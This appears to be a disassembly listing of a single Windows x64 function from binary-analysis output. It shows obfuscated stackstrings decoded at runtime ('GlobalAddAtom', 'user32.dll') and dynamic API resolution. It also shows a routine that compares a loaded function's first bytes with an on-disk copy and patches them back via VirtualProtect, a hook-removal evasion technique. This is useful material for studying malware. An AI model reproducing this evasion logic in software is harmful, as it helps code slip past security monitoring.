Function at 0x180181158
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1158]
mov eax, 0x1218
call fcn.18026a280
sub rsp, rax
mov qword [rbp], 0xfffffffffffffffe
mov r15, r8
mov rdi, rdx
xor r12d, r12d
mov dword [rbp + 0x1178], r12d
lea rax, [0x1802c5040]
mov qword [rbp + 8], rax
xorps xmm0, xmm0
xor eax, eax
movaps xmmword [0x1802c5050], xmm0
mov qword [0x1802c5060], rax
mov qword [0x1802c5068], r12
lea ebx, [rax + 0xf]
mov qword [0x1802c5070], rbx
mov byte [0x1802c5058], r12b
movups xmmword [0x1802c5078], xmm0
mov qword [0x1802c5088], r12
mov qword [0x1802c5090], rbx
xor r8d, r8d
lea rdx, [0x18027fdb8]
lea rcx, [0x1802c5078]
call qword [sym.imp.VCRUNTIME140.dll_memmove]
mov byte [0x1802c5078], r12b
xorps xmm0, xmm0
movups xmmword [0x1802c5098], xmm0
mov qword [0x1802c50a8], r12
mov qword [0x1802c50b0], rbx
mov byte [0x1802c5098], r12b
mov byte [0x1802c50b8], r12b
mov qword [0x1802c50c0], r12
cmp qword [rdi + 0x18], 0x10
jb 0x180181244
mov rsi, qword [rdi]
mov rcx, rsi
jmp 0x18018124a
mov rcx, rdi
mov rsi, rdi
mov r14, qword [rdi + 0x10]
add r14, rcx
mov rbx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x18018125e
mov rbx, qword [rdi]
mov r13d, 1
cmp rbx, r14
je 0x180181280
sub rsi, rbx
movzx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rbx + rsi], al
add rbx, r13
cmp rbx, r14
jne 0x18018126c
mov rdx, rdi
lea rcx, [0x1802c5058]
call fcn.18008c748
mov rdx, r15
lea rcx, [0x1802c5098]
call fcn.18008c748
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r13
mov ebx, 0xf
mov qword [rbp - 0x50], rbx
mov r8, r13
lea rdx, [0x18027fdf8]
lea rcx, [rbp - 0x68]
call qword [sym.imp.VCRUNTIME140.dll_memmove]
mov byte [rbp - 0x67], r12b
lea r8, [rbp - 0x68]
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.180095670
nop
mov rdx, qword [rax + 8]
sub rdx, 0x20
lea rcx, [0x1802c5078]
call fcn.18008c748
nop
lea rcx, [rbp - 0x80]
call fcn.18008d1e8
mov r8, r15
mov rdx, rdi
call fcn.18008d0c4
test rax, rax
je 0x180181315
mov qword [0x1802c5048], rax
jmp 0x1801818cb
mov rdx, rdi
call fcn.18008cdbc
mov qword [0x1802c5050], rax
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.IsWow64Process
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
cmp dword [0x1802c0dc0], r12d
jne 0x18018136b
test rax, rax
je 0x180181364
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [0x1802c0f18]
call rbx
mov dword [0x1802c0dc0], r13d
cmp dword [0x1802c0f18], r12d
setne cl
movzx eax, byte [0x1802c50b8]
test cl, cl
cmovne eax, r12d
mov byte [0x1802c50b8], al
lea rcx, [0x1802c5040]
call fcn.1801860a4
mov byte [rsp + 0x3b], 0x4e
mov byte [rsp + 0x3c], 0x73
mov byte [rsp + 0x3d], 0x76
mov byte [rsp + 0x3e], 0x69
mov byte [rsp + 0x3f], 0x68
mov byte [rsp + 0x40], 0x73
mov byte [rsp + 0x41], 0x48
mov byte [rsp + 0x42], 0x6b
mov byte [rsp + 0x43], 0x6b
mov byte [rsp + 0x44], 0x48
mov byte [rsp + 0x45], 0x7b
mov byte [rsp + 0x46], 0x76
mov byte [rsp + 0x47], 0x74
mov byte [rsp + 0x48], r12b
mov al, byte [rsp + 0x3b]
mov r14d, r13d
mov rcx, r12
mov al, byte [rsp + rcx + 0x3b]
sub al, 7
mov byte [rsp + rcx + 0x3b], al
add rcx, r13
cmp rcx, 0xd
jb 0x1801813e4
xor r8d, r8d
lea rdx, [rsp + 0x3b]
mov rcx, r15
call fcn.1800934b4
or rbx, 0xffffffffffffffff
test rax, rax
je 0x1801814b8
mov dword [rsp + 0x4c], 0x11
mov byte [rsp + 0x50], 0x56
mov byte [rsp + 0x51], 0x7d
mov byte [rsp + 0x52], 0x7e
mov byte [rsp + 0x53], 0x73
mov byte [rsp + 0x54], 0x70
mov byte [rsp + 0x55], 0x7d
mov byte [rsp + 0x56], 0x56
mov byte [rsp + 0x57], 0x74
mov byte [rsp + 0x58], 0x65
mov byte [rsp + 0x59], 0x50
mov byte [rsp + 0x5a], 0x65
mov byte [rsp + 0x5b], 0x7e
mov byte [rsp + 0x5c], 0x7c
mov byte [rsp + 0x5d], 0x5f
mov byte [rsp + 0x5e], 0x70
mov byte [rsp + 0x5f], 0x7c
mov byte [rsp + 0x60], 0x74
xor eax, eax
mov byte [rsp + 0x61], al
mov al, byte [rsp + 0x50]
lea r14d, [rbx + 4]
mov rdx, r12
mov al, byte [rsp + rdx + 0x50]
mov ecx, dword [rsp + 0x4c]
xor cl, al
mov byte [rsp + rdx + 0x50], cl
add rdx, r13
cmp rdx, 0x11
jb 0x180181482
mov byte [rsp + 0x61], r12b
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, r15
call fcn.1800934b4
test rax, rax
je 0x1801814b8
mov sil, r12b
jmp 0x1801814c1
mov sil, r13b
test r14b, 2
je 0x1801814d2
xor edx, edx
lea r8d, [rdx + 0x12]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_memset]
xor edx, edx
lea r8d, [rdx + 0xe]
lea rcx, [rsp + 0x3b]
call qword [sym.imp.VCRUNTIME140.dll_memset]
test sil, sil
je 0x1801815dc
mov byte [rsp + 0x30], 0x7d
mov byte [rsp + 0x31], 0x7b
mov byte [rsp + 0x32], 0x6d
mov byte [rsp + 0x33], 0x7a
mov byte [rsp + 0x34], 0x3b
mov byte [rsp + 0x35], 0x3a
mov byte [rsp + 0x36], 0x36
mov byte [rsp + 0x37], 0x6c
mov byte [rsp + 0x38], 0x74
mov byte [rsp + 0x39], 0x74
mov byte [rsp + 0x3a], r12b
mov al, byte [rsp + 0x30]
mov rcx, r12
mov al, byte [rsp + rcx + 0x30]
sub al, 8
mov byte [rsp + rcx + 0x30], al
add rcx, r13
cmp rcx, 0xa
jb 0x18018152a
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x180181551
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.18007b70c
nop
xor edx, edx
lea r8d, [rdx + 0xb]
lea rcx, [rsp + 0x30]
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8, rax
lea rdx, [rbp - 0x68]
call fcn.18008c99c
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1801815dc
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1801815d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1801815d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180269534
mov rcx, qword [0x1802c5050]
test rcx, rcx
je 0x180181d35
mov rdx, r15
cmp qword [r15 + 0x18], 0x10
jb 0x1801815f9
mov rdx, qword [r15]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1802c5040], rax
cmp byte [0x1802c50b8], r12b
je 0x180181654
lea rcx, [0x1802c5040]
call fcn.18008f218
mov rsi, rax
mov rbx, qword [0x1802c5050]
mov r14, qword [0x1802c5040]
sub r14, rbx
lea rcx, [0x1802c5040]
call fcn.1801860a4
mov rax, qword [0x1802c5050]
cmp rax, rbx
je 0x18018164b
lea rsi, [rax + r14]
mov rax, qword [0x1802c5040]
jmp 0x180181657
mov rsi, rax
test rsi, rsi
jne 0x1801816c1
mov rsi, rax
test rax, rax
jne 0x1801816ba
mov rcx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x180181671
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180181698
mov rcx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x180181689
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180181d35
mov rdx, r15
cmp qword [r15 + 0x18], 0x10
jb 0x1801816a5
mov rdx, qword [r15]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x180181d35
mov byte [0x1802c50b8], r12b
cmp byte [0x1802c50b8], r12b
je 0x1801818b1
mov rdx, rsi
call fcn.180186678
test al, al
jne 0x1801816ec
mov rsi, qword [0x1802c5040]
mov al, r12b
mov byte [0x1802c50b8], al
jmp 0x1801816f2
mov al, byte [0x1802c50b8]
test al, al
je 0x1801818b1
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
mov ebx, 0x20
mov r8d, ebx
mov rdx, rsi
lea rcx, [rbp - 0x20]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
lea rcx, [rbp + 0x80]
call fcn.18007ddc4
nop
lea rdx, [0x1802c5058]
lea rcx, [rbp + 0x80]
call fcn.18007df10
test al, al
je 0x1801818a5
mov rdx, qword [0x1802c5050]
lea rcx, [rbp + 0x80]
call fcn.180174f04
test al, al
je 0x1801818a5
lea r14d, [rbx + 0x21]
mov r8d, r14d
xor edx, edx
lea rcx, [rbp + 0x518]
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rdx, [0x1802c5098]
cmp qword [0x1802c50b0], 0x10
cmovae rdx, qword [0x1802c5098]
lea r8, [rbp + 0x510]
lea rcx, [rbp + 0x80]
call fcn.180173504
test al, al
je 0x1801818a5
mov dword [rbp + 0x1160], r12d
mov r9d, dword [rbp + 0x670]
mov byte [rsp + 0x28], r12b
mov dword [rsp + 0x20], r13d
lea r8d, [rbx - 0x1c]
lea rdx, [rbp + 0x1160]
lea rcx, [rbp + 0x80]
call fcn.1801755f8
test al, al
je 0x1801818a5
mov edx, dword [rbp + 0x1160]
lea rcx, [rbp + 0x80]
call fcn.18017390c
mov r9, rax
mov byte [rsp + 0x28], r12b
mov dword [rsp + 0x20], r13d
mov r8d, ebx
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x80]
call fcn.1801755f8
test al, al
je 0x1801818a5
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
lea r9, [rbp - 0x80]
xor r8d, r8d
mov dl, r13b
call fcn.18009463c
test al, al
jne 0x180181970
mov r8, qword [rbp - 0x80]
test r8, r8
je 0x1801818a5
mov rcx, qword [rbp - 0x70]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
cmp rdx, 0x1000
mov rax, r8
jb 0x18018189c
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180181aa3
mov rcx, r8
call fcn.180269534
nop
lea rcx, [rbp + 0x80]
call fcn.180172968
mov r9, rsi
mov r8, r15
mov rdx, rdi
call fcn.18008cec0
mov qword [0x1802c5048], rsi
mov ebx, 0xf
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180181905
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180181900
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180181d27
mov rcx, r8
call fcn.180269534
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], rbx
mov byte [rdi], r12b
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18018194a
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x180181945
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180181d2e
mov rcx, r8
call fcn.180269534
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], rbx
mov byte [r15], r12b
lea rax, [0x1802c5040]
add rsp, 0x1218
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [rbp + 0xc80]
call fcn.18007ddc4
nop
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xc80]
call fcn.18007e004
xor edx, edx
test al, al
jne 0x1801819b2
lea r9, [rbp - 0x80]
xor r8d, r8d
call fcn.18009463c
nop
lea rcx, [rbp + 0xc80]
call fcn.180172968
jmp 0x180181844
mov r8, r14
lea rcx, [rbp + 0x18]
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rdx, [0x1802c5098]
cmp qword [0x1802c50b0], 0x10
cmovae rdx, qword [0x1802c5098]
lea r8, [rbp + 0x10]
lea rcx, [rbp + 0xc80]
call fcn.18017344c
test al, al
je 0x180181a28
mov ecx, dword [rbp + 0x668]
mov eax, esi
sub eax, dword [0x1802c5050]
cmp ecx, eax
je 0x180181a28
mov rax, qword [0x1802c50c0]
test rax, rax
je 0x180181a0b
mov byte [rax], r13b
mov r8, rcx
add r8, qword [0x1802c5050]
lea rdx, [0x1802c5098]
lea rcx, [rbp + 0xc80]
call fcn.180179ea0
lea r9, [rbp - 0x80]
xor r8d, r8d
xor edx, edx
call fcn.18009463c
nop
lea rcx, [rbp + 0xc80]
test al, al
je 0x1801819a8
call fcn.180172968
nop
movabs rbx, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp - 0x80]
test r8, r8
je 0x180181ab2
mov rcx, qword [rbp - 0x70]
sub rcx, r8
mov rax, rbx
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
mov rax, r8
cmp rdx, 0x1000
jb 0x180181aaa
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180181aaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.180269534
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r12
lea r9, [rsp + 0x68]
mov r8, qword [0x1802c5050]
mov dl, r13b
call fcn.18009463c
test al, al
jne 0x180181b3a
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x1801818a5
mov rcx, qword [rsp + 0x78]
mov rax, rbx
sub rcx, r8
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
cmp rdx, 0x1000
mov rax, r8
jb 0x18018189c
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18018189c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x7f0]
call fcn.18007ddc4
nop
mov byte [rsp + 0x20], r13b
xor r9d, r9d
mov r8, qword [0x1802c5050]
xor edx, edx
lea rcx, [rbp + 0x7f0]
call fcn.18017711c
xor edx, edx
test al, al
jne 0x180181b8d
mov r8, qword [0x1802c5050]
lea r9, [rsp + 0x68]
call fcn.18009463c
nop
lea rcx, [rbp + 0x7f0]
call fcn.180172968
jmp 0x180181ad8
mov r8, r14
lea rcx, [rbp + 0x688]
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rdx, [0x1802c5098]
cmp qword [0x1802c50b0], 0x10
cmovae rdx, qword [0x1802c5098]
lea r8, [rbp + 0x680]
lea rcx, [rbp + 0x7f0]
call fcn.180173504
test al, al
je 0x180181d20
mov r8d, dword [rbp + 0x668]
cmp r8d, dword [rbp + 0x7d8]
je 0x180181c0a
cmp byte [rbp + 0x6cc], r12b
jne 0x180181c0a
mov rax, qword [0x1802c50c0]
test rax, rax
je 0x180181bf7
mov byte [rax], r13b
lea rdx, [0x1802c5098]
lea rcx, [rbp + 0x7f0]
call fcn.18017a000
lea r9, [rsp + 0x68]
mov r8, qword [0x1802c5050]
xor edx, edx
call fcn.18009463c
nop
lea rcx, [rbp + 0x7f0]
test al, al
je 0x180181b83
call fcn.180172968
nop
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x180181c8e
mov rcx, qword [rsp + 0x78]
sub rcx, r8
mov rax, rbx
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
mov rax, r8
cmp rdx, 0x1000
jb 0x180181c86
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180181b33
mov rcx, r8
call fcn.180269534
mov ebx, 0x20
mov r8d, ebx
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.VCRUNTIME140.dll_memcmp]
test eax, eax
je 0x180181d08
mov rax, qword [0x1802c50c0]
test rax, rax
je 0x180181cb7
mov byte [rax], r13b
lea r9, [rbp + 0x1180]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180181d08
mov rax, r12
mov cl, byte [rbp + rax - 0x40]
cmp byte [rbp + rax - 0x20], cl
je 0x180181ce4
mov byte [rax + rsi], cl
add rax, r13
cmp rax, rbx
jb 0x180181cd7
lea r9, [rbp - 0x48]
mov r8d, dword [rbp + 0x1180]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1801818a5
mov rax, qword [0x1802c50c0]
test rax, rax
je 0x1801818a5
mov byte [rax], r12b
jmp 0x1801818a5
xor edx, edx
jmp 0x180181b6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.18014e36c
int3